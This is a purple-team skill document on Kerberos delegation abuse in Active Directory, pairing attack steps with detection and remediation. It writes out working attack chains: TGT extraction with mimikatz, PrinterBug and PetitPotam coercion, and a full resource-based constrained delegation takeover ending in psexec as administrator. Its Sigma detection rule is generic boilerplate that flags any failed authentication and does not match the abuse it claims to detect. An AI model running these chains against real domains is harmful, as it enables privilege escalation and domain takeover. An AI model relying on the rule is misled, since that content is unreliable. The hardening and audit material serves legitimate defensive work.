<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: detecting-kerberos-delegation-abuse
description: >-
  Detect and audit Kerberos delegation misconfigurations including unconstrained
  delegation abuse, constrained delegation with protocol transition, resource-based
  constrained delegation attacks, and S4U2Self/S4U2Proxy exploitation.
domain: cybersecurity
subdomain: identity-access-management
tags:
  - kerberos
  - delegation
  - active-directory
  - unconstrained-delegation
  - constrained-delegation
  - rbcd
  - impacket
  - bloodhound
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1558"]
---

# Detecting Kerberos Delegation Abuse

## Overview

Kerberos delegation allows services to impersonate users when accessing other services.
Unconstrained delegation stores user TGTs in memory — compromising one server yields
TGTs for all authenticating users. Constrained delegation with protocol transition
(S4U2Self + S4U2Proxy) enables impersonation to specific services. Resource-Based
Constrained Delegation (RBCD) attacks abuse `msDS-AllowedToActOnBehalfOfOtherIdentity`
to gain access to target computers with minimal privileges.

Mode: `[MODE: PURPLE]` — Maps delegation attacks to detection and hardening.

MITRE ATT&CK: T1558 (Steal or Forge Kerberos Tickets), T1134.001 (Token Impersonation)

## Prerequisites

- Active Directory with Kerberos delegation configured
- `impacket` for delegation exploitation testing
- BloodHound for delegation path visualization
- Python 3.10+ with `ldap3`, `impacket`
- Domain Controller event logs (4624, 4768, 4769)

## Key Concepts

### Delegation Types

| Type | Risk | Attribute | Description |
|------|------|-----------|-------------|
| Unconstrained | Critical | `TRUSTED_FOR_DELEGATION` | Stores user TGTs — any service accessible |
| Constrained | High | `msDS-AllowedToDelegateTo` | Limited to specific SPNs |
| Constrained + Protocol Transition | Critical | `TRUSTED_TO_AUTH_FOR_DELEGATION` | Can impersonate without user interaction |
| Resource-Based (RBCD) | High | `msDS-AllowedToActOnBehalfOfOtherIdentity` | Target controls who can delegate |

### Unconstrained Delegation Attack

```bash
# Find computers with unconstrained delegation
impacket-findDelegation target.com/user:password -dc-ip DC_IP

# BloodHound query
# MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name

# Extract TGTs from memory (on compromised delegation host)
mimikatz "sekurlsa::tickets /export"

# Coerce authentication to delegation host (PrinterBug/PetitPotam)
python3 printerbug.py target.com/user:password@DC_IP DELEGATION_HOST
python3 PetitPotam.py DELEGATION_HOST DC_IP
```

### Resource-Based Constrained Delegation (RBCD)

```bash
# Prerequisites: ability to write msDS-AllowedToActOnBehalfOfOtherIdentity
# + control of a computer account (or ability to create one)

# Create machine account (if MachineAccountQuota > 0)
impacket-addcomputer target.com/user:password -computer-name 'EVIL$' -computer-pass 'Password1'

# Set RBCD attribute on target
impacket-rbcd target.com/user:password -delegate-from 'EVIL$' -delegate-to 'TARGET$' -dc-ip DC_IP -action write

# Request ticket via S4U
impacket-getST target.com/'EVIL$':'Password1' -spn cifs/TARGET.target.com -impersonate administrator -dc-ip DC_IP

# Use ticket
export KRB5CCNAME=administrator@cifs_TARGET.target.com@TARGET.COM.ccache
impacket-psexec -k -no-pass TARGET.target.com
```

### Constrained Delegation with Protocol Transition

```bash
# Find accounts with constrained delegation
impacket-findDelegation target.com/user:password -dc-ip DC_IP

# S4U2Self + S4U2Proxy (impersonate any user to target SPN)
impacket-getST target.com/svc-account:password \
  -spn mssql/target-db.target.com \
  -impersonate administrator \
  -dc-ip DC_IP

# Alternate service name attack (delegate to different service on same host)
impacket-getST target.com/svc-account:password \
  -spn cifs/target-db.target.com \
  -impersonate administrator \
  -dc-ip DC_IP \
  -altservice ldap/target-db.target.com
```

## Workflow

### Step 1: Discover Delegation Configuration

```bash
# Comprehensive delegation enumeration
node scripts/agent.js --domain target.com --dc-ip DC_IP --discover --output /tmp/delegation_inventory.json

# LDAP query for unconstrained delegation
ldapsearch -x -H ldap://DC_IP -D "user@target.com" -w "password" \
  -b "DC=target,DC=com" "(userAccountControl:1.2.840.113556.1.4.803:=524288)" \
  sAMAccountName userAccountControl

# LDAP query for constrained delegation
ldapsearch -x -H ldap://DC_IP -D "user@target.com" -w "password" \
  -b "DC=target,DC=com" "(msDS-AllowedToDelegateTo=*)" \
  sAMAccountName msDS-AllowedToDelegateTo
```

### Step 2: Audit Delegation Risks

```bash
node scripts/agent.js --input /tmp/delegation_inventory.json --audit --output /tmp/delegation_findings.json
```

### Step 3: Detect Active Exploitation

```bash
# Monitor for S4U ticket requests
# Event 4769 with TransmittedServices field populated

# Monitor RBCD attribute changes
# Event 5136 with attribute msDS-AllowedToActOnBehalfOfOtherIdentity
```

### Step 4: Remediate

```powershell
# Remove unconstrained delegation
Set-ADComputer -Identity "SERVER" -TrustedForDelegation $false

# Remove constrained delegation entries
Set-ADComputer -Identity "SERVER" -Clear 'msDS-AllowedToDelegateTo'

# Clear RBCD attribute
Set-ADComputer -Identity "TARGET" -Clear 'msDS-AllowedToActOnBehalfOfOtherIdentity'

# Add Protected Users group (blocks delegation)
Add-ADGroupMember -Identity "Protected Users" -Members "admin"
```

## Detection

```yaml
title: Kerberos Delegation Abuse Detection
id: aeb8dbf4-ec27-405b-a25e-080bc4f53804
status: experimental
description: Detects suspicious activity related to detecting kerberos delegation abuse techniques in identity access management context
logsource:
  category: authentication
  product: windows
detection:
  selection:
    EventType: authentication
    Status: failure
  condition: selection
level: medium
tags:
  - attack.t1558
  - attack.credential_access
falsepositives:
  - Automated password rotation by privileged access management tools
```

## Verification

- [ ] No computers with unconstrained delegation (except Domain Controllers)
- [ ] Constrained delegation limited to required SPNs only
- [ ] Protocol transition (`TRUSTED_TO_AUTH_FOR_DELEGATION`) minimized
- [ ] RBCD attributes (`msDS-AllowedToActOnBehalfOfOtherIdentity`) audited
- [ ] Privileged accounts in Protected Users group (blocks delegation)
- [ ] `MachineAccountQuota` set to 0 (prevents RBCD prerequisite)
- [ ] Event 5136 monitored for RBCD attribute modifications
- [ ] BloodHound analysis shows no abusable delegation paths to Tier 0

## References

- [MITRE ATT&CK T1558](https://attack.mitre.org/techniques/T1558/)
- [Harmj0y — Kerberos Delegation Primer](https://blog.harmj0y.net/activedirectory/s4u2pwnage/)
- [Elad Shamir — RBCD Attack](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
- [Impacket — findDelegation](https://github.com/fortra/impacket)
- [BloodHound](https://github.com/BloodHoundAD/BloodHound)
